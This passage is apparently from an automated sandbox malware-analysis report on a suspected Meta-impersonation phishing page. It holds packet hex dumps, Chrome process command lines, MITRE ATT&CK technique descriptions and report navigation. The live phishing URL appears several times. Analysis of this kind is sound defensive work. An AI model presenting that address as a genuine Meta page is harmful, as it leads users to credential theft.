}w}/c8lD^j!OpLvc^FYsdi* ^<S)eAa*=gn.\;fbHSAT`lr7
2025-03-13 09:50:44 UTC	8000	IN	Data Raw: a8 04 22 68 5b 96 36 08 d4 42 b5 c2 59 65 19 c7 f1 ec 81 67 0b 55 80 28 8a e3 a4 fa 81 b7 df 3e f0 f9 ef 7c e7 ee d7 bf f8 c5 df 79 65 bd ca 57 da 6c 1a 27 5a 0d fe 0f 20 44 00 34 20 d0 ea 09 29 cc ee 76 db 10 32 79 ef 5d 3e 30 38 e8 b0 01 97 65 a4 02 48 a8 c4 94 86 41 db 88 b6 a7 ba 8c aa fa 84 dd 90 5f 4d 27 ed f8 6b f7 f0 f0 f8 d7 7f f0 e0 b7 1f 78 e8 67 7b f2 dc df 6c 0d 45 b9 f7 60 32 38 f5 22 91 74 e9 af f9 9a 67 a9 d0 77 ed 6a a2 0a c0 32 ba 7d 64 cb cf 6f be ea 86 e7 d6 b2 0c 0d f1 20 91 15 22 61 95 f2 33 17 cd 2e 01 de 5c 67 f7 b1 bd 9f be bd 2f 9d 89 ad 39 09 9a 42 2e 45 88 7c b6 bc 55 e6 c1 e1 ad 6f ca 6b 6f 4e 45 d5 04 ad 2c 87 31 74 ca 67 80 4d 04 70 40 8e ce 5d 6b 6c 68 b0 f6 e3 73 ce 38 e7 fb 2d 6d 51 ec f3 94 e2 b8 a5 22 71 0d f5 86 23 92 Data Ascii: "h[6BYegU(>\|yeWl'Z D4 )v2y]>08eHA_M'kxg{lE`28"tgwj2}do "a3.\g/9B.E\|UokoNE,1tgMp@]klhs8-mQ"q#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49771	199.232.196.193	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:45 UTC	386	OUT	GET /FOY6xZ9.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:45 UTC	761	IN	HTTP/1.1 200 OK Connection: close Content-Length: 43347 Content-Type: image/png Last-Modified: Sat, 17 Aug 2024 18:06:51 GMT ETag: "09946bdf69e1c9d67b303e80686043ef" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD89-P1 X-Amz-Cf-Id: -nJS4wQ2fjcTJYEBreg4UOjFbB6pOF4mVreiDZxKZuiNJgwHHfNJUg== cache-control: public, max-age=31536000 Accept-Ranges: bytes Date: Thu, 13 Mar 2025 09:50:45 GMT Age: 1636601 X-Served-By: cache-iad-kjyo7100053-IAD, cache-chi-klot8100029-CHI X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 30, 1 X-Timer: S1741859445.420569,VS0,VE1 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2025-03-13 09:50:45 UTC	1371	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 b0 00 00 04 b0 08 06 00 00 00 eb 21 b3 cf 00 00 80 00 49 44 41 54 78 9c ec dd 09 9c 64 65 7d ef ff cf a9 a5 ab 7b 96 33 c3 2c cc 61 86 01 61 60 58 85 11 59 04 37 14 45 40 59 44 8d a0 a2 a0 44 31 ac 8a 7a 5c a2 c6 dd 12 f5 26 c6 68 62 a2 f9 9b 98 6b 4c 72 6f 72 73 63 4c 62 8c c6 44 b3 a0 5e 13 b7 88 0b 4a 14 8a 7d e6 cc d6 5b d5 f9 bf 7a e6 69 69 60 80 59 ba fb a9 e5 f3 7e bd ca ee a9 81 9e 2f e3 4c f7 a9 6f ff 9e df a9 20 49 92 24 49 92 24 75 31 0b 2c 49 92 24 49 92 24 75 b5 5a ec 00 92 24 49 f3 21 cb 8b 0a b0 00 48 c2 53 23 40 63 c6 3f 32 1c 1e 33 4d fd 3b 8b c2 db 72 8e 23 6e 03 26 1e f0 dc 78 78 7e da 24 b0 75 46 96 ed ad 66 3a 39 c7 b9 24 49 92 a2 4b 62 07 90 24 49 7a 28 59 5e 4c 5d ab d4 c3 37 Data Ascii: PNGIHDR!IDATxde}{3,aa`XY7E@YDD1z\&hbkLrorscLbD^J}[zii`Y~/Lo I$I$u1,I$I$uZ$I!HS#@c?23M;r#n&xx~$uFf:9$IKb$Iz(Y^L]7
2025-03-13 09:50:45 UTC	1371	IN	Data Raw: 53 c3 d1 c0 35 c0 32 a0 12 3b a3 a4 be 57 86 bb 1a de 16 f6 68 fd db 8c 09 ad 5b 5a cd b4 1d 3b a0 24 49 31 59 60 49 92 06 4e 96 17 35 60 05 70 30 70 32 70 0a 70 14 70 48 38 12 28 49 dd 60 5b b8 bb e1 f7 80 7f 0f 8f 1f 03 b7 bb 43 4b 92 34 68 2c b0 24 49 7d 6f c6 d2 f5 35 c0 e3 80 93 c2 d1 c0 f5 e1 79 27 ac 24 75 bb 0e 30 1a a6 b3 fe 33 4c 67 fd 4b 28 b8 ee 6d 35 d3 89 d8 01 25 49 9a 4b 16 58 92 a4 be 93 e5 c5 d4 d7 b7 e1 50 58 6d 98 31 65 75 a4 3b ac 24 f5 89 e9 1d 5a 3f 0a fb b3 be 16 de fe 04 d8 de 6a a6 9d d8 01 25 49 9a 4d 16 58 92 a4 be 10 4a ab e5 61 77 d5 06 e0 09 61 f1 fa 2a 60 61 ec 7c 92 34 c7 c6 c2 f2 f7 ef 02 ff 14 26 b4 be 05 dc ea fe 2c 49 52 3f b0 c0 92 24 f5 ac 2c 2f 46 66 2c 5e 7f 72 b8 5b e0 a1 61 8f 95 5f e3 24 0d b2 2d c0 2d a1 c8 fa Data Ascii: S52;Wh[Z;$I1Y`IN5`p0p2pppH8(I`[CK4h,$I}o5y'$u03LgK(m5%IKXPXm1eu;$Z?j%IMXJawa*`a\|4&,IR?$,/Ff,^r[a_$--
2025-03-13 09:50:45 UTC	1371	IN	Data Raw: 3f 02 f7 b6 9a 69 19 3b 98 24 e9 c1 2c b0 24 a9 0b 65 79 b1 0a 78 32 70 51 78 bb 2c 76 26 49 92 fa 58 01 7c 0d f8 0c f0 b7 c0 2d 16 59 92 d4 5d 2c b0 24 a9 4b 84 bb 09 1e 0a 3c 0b f8 25 e0 78 60 41 ec 5c 92 24 0d 90 09 e0 7b c0 5f 84 5d 59 df f3 ee 85 92 d4 1d 2c b0 24 29 b2 2c 2f 46 80 63 c2 6e ab 67 87 5d 57 d5 d8 b9 24 49 1a 70 3f 05 fe 06 f8 34 f0 f5 56 33 dd 12 3b 90 24 0d 32 0b 2c 49 8a 24 cb 8b c5 61 bf d5 0b 81 33 81 d5 7e 5e 96 24 a9 eb dc 0d 7c 29 14 59 5f 6c 35 d3 7b 62 07 92 a4 41 e4 0b 25 49 9a 67 59 5e 2c 05 9e 06 5c 0c 9c ee 7e 2b 49 92 7a c2 16 e0 5f 42 91 f5 39 e0 76 f7 64 49 d2 fc b1 c0 92 a4 79 92 e5 45 16 ee 24 78 11 70 2a b0 28 76 26 49 92 b4 c7 46 81 ef 84 22 eb 2f 80 9b 5b cd b4 13 3b 94 24 f5 3b 0b 2c 49 9a 43 59 5e 4c 7d 9e 3d 08 Data Ascii: ?i;$,$eyx2pQx,v&IX\|-Y],$K<%x`A\${_]Y,$),/Fcng]W$Ip?4V3;$2,I$a3~^$\|)Y_l5{bA%IgY^,\~+Iz_B9vdIyE$xp*(v&IF"/[;$;,ICY^L}=
2025-03-13 09:50:45 UTC	1371	IN	Data Raw: 59 5e 1c 04 5c 11 8e 0b 66 b1 f3 48 92 24 69 87 8d c0 9f 02 1f 0a c7 0a 3b b1 03 49 1a 5c 16 58 92 a2 c9 f2 62 71 58 ce 7e 2d f0 58 8f 0b 4a 92 24 75 9d 4e 38 56 f8 3b c0 a7 5a cd f4 ae d8 81 24 0d 26 0b 2c 49 f3 2e cb 8b 0a 70 02 70 1d 70 1e b0 38 76 26 49 92 24 3d ac 71 e0 cb c0 fb 80 2f b5 9a e9 44 ec 40 92 06 8b 05 96 a4 79 95 e5 c5 01 c0 4b c2 91 c1 83 63 e7 91 24 49 d2 1e b9 1b f8 54 b8 5b e1 0f bd 5b a1 a4 f9 62 81 25 69 5e 64 79 31 0c 3c 1d 78 0d 70 1a 50 8b 9d 49 92 24 49 7b a5 04 be 05 fc 3a f0 e7 ad 66 ba 31 76 20 49 fd cf 02 4b d2 9c ca f2 62 ea f3 cc 7a e0 6a e0 05 c0 7e b1 33 49 92 24 69 56 6c 07 fe 0a b8 01 f8 46 ab 99 b6 63 07 92 d4 bf 2c b0 24 cd 99 2c 2f 16 01 cf 03 5e 05 1c eb e7 1c 49 92 a4 be f4 13 e0 a3 c0 27 5b cd f4 f6 d8 61 24 f5 Data Ascii: Y^\fH$i;I\XbqX~-XJ$uN8V;Z$&,I.ppp8v&I$=q/D@yKc$IT[[b%i^dy1<xpPI$I{:f1v IKbzj~3I$iVlFc,$,/^I'[a$
2025-03-13 09:50:45 UTC	1371	IN	Data Raw: 17 95 13 fc bb 2b 49 92 24 ed b3 1f 85 6f 0e 7f a6 d5 4c c7 63 87 91 f4 f0 7c 11 2c 75 b9 2c 2f 16 01 2f 05 5e 0b 1c 18 3b 8f 24 49 92 d4 47 36 02 1f 05 fe 47 ab 99 de 19 3b 8c a4 87 66 81 25 75 b1 2c 2f 0e 06 5e 0f bc 18 58 10 3b 8f 24 49 92 d4 87 26 81 bf 02 de d6 6a a6 df 8c 1d 46 d2 ae 59 60 49 5d 28 cb 8b a9 bf 9b 27 01 4d e0 49 40 25 76 26 49 92 24 a9 cf 7d 0b 78 0b f0 d9 56 33 9d 88 1d 46 d2 fd 59 60 49 5d 26 cb 8b a1 b0 a4 fd 1d c0 61 b1 f3 48 92 24 49 03 e4 f6 f0 4d e4 df 6d 35 d3 2d b1 c3 48 ba 8f 05 96 d4 45 b2 bc 58 0a 5c 09 5c 0b ac 8c 9d 47 92 24 49 1a 40 5b 81 4f 02 ef 6b 35 d3 9f c6 0e 23 69 27 0b 2c a9 4b 64 79 b1 0e 78 33 70 11 d0 88 9d 47 92 24 49 1a 60 1d e0 8b c0 1b 5a cd f4 c6 d8 61 24 59 60 49 5d 21 cb 8b 27 02 ef 01 4e f3 ef a5 24 Data Ascii: +I$oLc\|,u,//^;$IG6G;f%u,/^X;$I&jFY`I]('MI@%v&I$}xV3FY`I]&aH$IMm5-HEX\\G$I@[Ok5#i',Kdyx3pG$I`Za$Y`I]!'N$
2025-03-13 09:50:45 UTC	1371	IN	Data Raw: 17 92 24 49 92 d4 8b be 06 5c dd 6a a6 ff 1a 3b 88 34 5f 2c b0 34 30 b2 bc 38 06 f8 00 f0 8c d8 59 24 49 92 24 69 1f 7d 0f b8 0e f8 7c ab 99 96 b1 c3 48 73 cd 1d 58 1a 08 59 5e 9c 04 fc 1e 70 66 ec 2c 92 24 49 92 34 0b 8e 02 7e d3 d7 38 1a 14 4e 60 a9 ef 65 79 71 22 f0 5b c0 c9 b1 b3 48 92 24 49 d2 2c fb 01 70 2d f0 37 4e 62 a9 9f 39 81 a5 be 16 26 af 3e 62 79 25 49 92 24 a9 4f 1d 0e fc 0e 70 71 96 17 be c6 57 df f2 0f b7 fa 56 96 17 4f 05 3e 06 9c 14 3b 8b 24 49 92 24 cd a1 b5 c0 07 43 89 e5 9d d6 d5 97 3c 42 a8 be 93 e5 45 12 ce 81 ff 66 f8 6e 84 24 49 92 24 0d 82 db 80 d7 02 7f dc 6a a6 ed d8 61 a4 d9 e4 04 96 fa d1 99 c0 87 2c af 24 49 92 24 0d 98 03 80 1b 80 8b 9c c4 52 bf 71 02 4b 7d 25 cb 8b 67 38 79 25 49 92 24 69 c0 b5 80 d7 00 9f 6e 35 d3 4e ec Data Ascii: $I\j;4_,408Y$I$i}\|HsXY^pf,$I4~8N`eyq"[H$I,p-7Nb9&>by%I$OpqWVO>;$I$C<BEfn$I$ja,$I$RqK}%g8y%I$in5N
2025-03-13 09:50:45 UTC	1371	IN	Data Raw: 1e f0 96 70 97 09 49 92 24 49 92 76 a5 06 5c 05 bc 3c cb 8b 5a ec 30 ea 4d 16 58 da 2b 59 5e 9c 08 bc 63 ea dd d8 59 24 49 92 24 49 5d 6f 11 f0 06 e0 fc d8 41 d4 9b 92 d8 01 d4 7b b2 bc 58 07 7c 1c 78 72 ec 2c 92 24 49 92 a4 9e 72 13 f0 d2 56 33 fd 4a ec 20 ea 2d 4e 60 69 8f 84 c5 7b ef b1 bc 92 24 49 92 24 ed 85 f5 40 33 cb 8b f5 b1 83 a8 b7 58 60 69 b7 65 79 b1 10 c8 81 0b 62 67 91 24 49 92 24 f5 ac c7 03 ef c9 f2 62 55 ec 20 ea 1d 16 58 da 2d 61 d1 de e5 c0 15 40 3d 76 1e 49 92 24 49 52 4f 3b 1f 78 7d 96 17 0b 62 07 51 6f b0 c0 d2 ee 3a 07 78 5d 58 bc 27 49 92 24 49 d2 be a8 02 bf 0c 5c ee 9d 09 b5 3b 2c b0 f4 88 b2 bc 38 19 68 02 ab 63 67 91 24 49 92 24 f5 8d 85 c0 1b 81 67 c6 0e a2 ee e7 5d 08 f5 b0 b2 bc 58 0b 7c 02 78 5a ec 2c 92 24 49 92 a4 be f4 Data Ascii: pI$Iv\<Z0MX+Y^cY$I$I]oA{X\|xr,$IrV3J -N`i{$I$@3X`ieybg$I$bU X-a@=vI$IRO;x}bQo:x]X'I$I\;,8hcg$I$g]X\|xZ,$I
2025-03-13 09:50:45 UTC	1371	IN	Data Raw: 18 20 59 5e 9c 0f fc 1e b0 22 76 16 49 92 a4 69 9d 19 0b cb 2b c9 8e 47 59 af 91 ac 5c 94 74 b2 b4 32 96 a5 49 6d f5 d2 4a fd d0 e5 c9 f6 c3 f7 af 4e 2e 5f 98 2c 58 d4 a0 9a 8e 24 93 0b 1b 49 59 4d 76 ac c5 f0 ba 36 be 4e 59 32 39 de 86 d1 89 32 d9 3a 56 d6 77 bc 3f 49 b9 75 ac dc b6 75 ac 9c bc 63 4b c9 ed 45 39 72 e7 e6 72 68 ea fd 6d e3 e5 f8 d4 f3 c5 68 c9 c6 6d 34 8a d1 b2 ba 65 6c 47 d1 55 ce 98 b2 4b 3a e1 cf c7 cc 92 cb c9 2e 69 e0 6d 03 de 04 7c a8 d5 4c 1f 34 99 aa fe e3 0e ac 01 91 e5 c5 d1 c0 af 59 5e 49 92 a4 58 ca 5d 2c 18 af 55 60 ff c5 c9 e4 f2 85 49 e7 80 25 95 fa fa fd 2b 93 47 1f 50 19 5d b3 b4 b2 60 f9 c2 24 d9 7f 71 52 59 32 92 24 95 9d 65 c5 c8 03 3e a4 d7 b2 dd a5 92 24 0c 35 6a 3b 26 df 58 32 72 bf 6d 59 0b 77 f5 2f b4 4b 92 f1 c9 Data Ascii: Y^"vIi+GY\t2ImJN._,X$IYMv6NY292:Vw?IuucKE9rrhmhm4elGUK:.im\|L4Y^IX],U`I%+GP]`$qRY2$e>$5j;&X2rmYw/K
2025-03-13 09:50:45 UTC	1371	IN	Data Raw: a9 3b 4d 1f 0f 9c b2 a8 91 94 47 67 95 f6 a9 87 56 cb d3 d7 d7 ca 23 b3 4a 75 d9 82 a4 e2 35 a2 34 b7 2a 89 ab b0 a4 39 f6 28 e0 2d 59 5e 5c da 6a a6 3f 8b 1d 46 b3 c3 8b 93 3e 91 e5 c5 d4 d7 c0 97 00 17 3b da 2f 49 92 1e 68 fa ee 81 0b 1b 94 87 ae a8 74 9e b8 ae 36 79 fa 11 b5 ea 09 6b 2b 65 3a 9c d4 bc 7e 90 24 f5 99 a7 00 d7 65 79 f1 ab ad 66 3a 1a 3b 8c f6 9d 05 56 ff 38 0d b8 1e 18 89 1d 44 92 24 75 87 e9 23 82 f5 2a e5 81 fb 55 ca 27 1e 56 9d 7c ea fa 5a e5 94 43 aa e5 f2 85 c9 50 25 b1 b4 92 24 f5 ad 0a 70 39 f0 4d e0 53 b1 c3 68 df 59 60 f5 81 2c 2f 56 01 6f 01 0e 89 9d 45 92 24 c5 d7 29 77 8e 53 2d 1e 4e ca 13 d6 56 27 cf 38 b2 ca 19 47 d6 ca b5 fb 55 6a 43 55 77 5a 49 92 06 c6 12 20 cf f2 e2 9b ad 66 fa ed d8 61 b4 6f 2c b0 7a 5c 96 17 75 e0 5a Data Ascii: ;MGgV#Ju549(-Y^\j?F>;/Iht6yk+e:~$eyf:;V8D$u#U'V\|ZCP%$p9MShY`,/VoE$)wS-NV'8GUjCUwZI fao,z\uZ
2025-03-13 09:50:45 UTC	1371	IN	Data Raw: dd e5 0c e0 72 8b 45 49 92 ba df 8e a9 ab 21 3a 17 6e a8 b7 af 3e 7d 28 79 d4 72 f7 5c 49 92 d4 47 ce 07 fe d9 a3 84 dd c3 a2 a4 4b 64 79 71 40 38 3a b8 22 76 16 49 92 f4 d0 ca 50 5e ad df bf d2 79 cf f9 c3 93 ef 3c b7 51 b5 bc 92 24 a9 ef 0c 03 d7 64 79 f1 98 d8 41 b4 93 05 56 17 c8 f2 62 ea a2 f7 97 81 53 63 67 91 24 49 0f ad dc 79 87 41 ce 3b ae 36 f1 b1 17 8e b4 9f ff d8 7a 7d 64 28 f1 7a 4a 92 a4 fe 74 78 d8 87 b5 28 76 10 79 84 b0 5b 3c 09 78 05 50 8f 1d 44 92 24 ed 5a a7 84 fd 17 27 9d 57 3e 69 a8 fd a2 93 eb 95 74 d8 25 ed 92 24 0d 80 e7 84 bb 12 7e 3c 76 90 41 e7 77 0c 23 cb f2 62 39 70 3d b0 3a 76 16 49 92 f4 60 65 b9 f3 71 d2 c1 d5 ce 47 2f 1a 29 af 78 e2 50 d5 f2 4a 92 a4 81 b1 10 b8 36 cb 8b 23 63 07 19 74 16 58 11 65 79 91 00 2f 03 ce 8c 9d Data Ascii: rEI!:n>}(yr\IGKdyq@8:"vIP^y<Q$dyAVbScg$IyA;6z}d(zJtx(vy[<xPD$Z'W>it%$~<vAw#b9p=:vI`eqG/)xPJ6#ctXey/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	55810	142.250.105.94	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:51:34 UTC	363	OUT	POST /domainreliability/upload HTTP/1.1 Host: beacons.gcp.gvt2.com Connection: keep-alive Content-Length: 276 Content-Type: application/json; charset=utf-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:51:34 UTC	276	OUT	Data Raw: 7b 22 65 6e 74 72 69 65 73 22 3a 5b 7b 22 68 74 74 70 5f 72 65 73 70 6f 6e 73 65 5f 63 6f 64 65 22 3a 32 30 30 2c 22 6e 65 74 77 6f 72 6b 5f 63 68 61 6e 67 65 64 22 3a 66 61 6c 73 65 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 48 54 54 50 53 22 2c 22 72 65 71 75 65 73 74 5f 61 67 65 5f 6d 73 22 3a 36 33 30 31 36 2c 22 72 65 71 75 65 73 74 5f 65 6c 61 70 73 65 64 5f 6d 73 22 3a 32 39 33 39 2c 22 73 61 6d 70 6c 65 5f 72 61 74 65 22 3a 30 2e 30 35 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 34 32 2e 32 35 30 2e 31 38 35 2e 31 37 30 3a 34 34 33 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 22 2c 22 77 61 73 5f 70 72 6f 78 69 65 64 22 3a 66 61 6c 73 65 7d 5d Data Ascii: {"entries":[{"http_response_code":200,"network_changed":false,"protocol":"HTTPS","request_age_ms":63016,"request_elapsed_ms":2939,"sample_rate":0.05,"server_ip":"142.250.185.170:443","status":"ok","url":"https://ajax.googleapis.com/","was_proxied":false}]
2025-03-13 09:51:34 UTC	806	IN	HTTP/1.1 200 OK Report-To: {"group":"ntbdioescrec:47:0","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/ntbdioescrec:47:0"}],} NEL: {"failure_fraction":1,"include_subdomains":false,"max_age":300,"report_to":"nel","success_fraction":0.25} Content-Type: application/javascript; charset=utf-8 Content-Security-Policy-Report-Only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/ntbdioescrec:47:0 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to=ntbdioescrec:47:0 Date: Thu, 13 Mar 2025 09:51:34 GMT Server: Domain Reliability Server Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	2
Start time:	05:50:12
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff62fc20000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:50:17
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2308,i,8834077108357008396,4316533208401078595,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2348 /prefetch:3
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	05:50:23
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Static File Info

Network Behavior

Network Port Distribution

Windows Analysis Report
https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php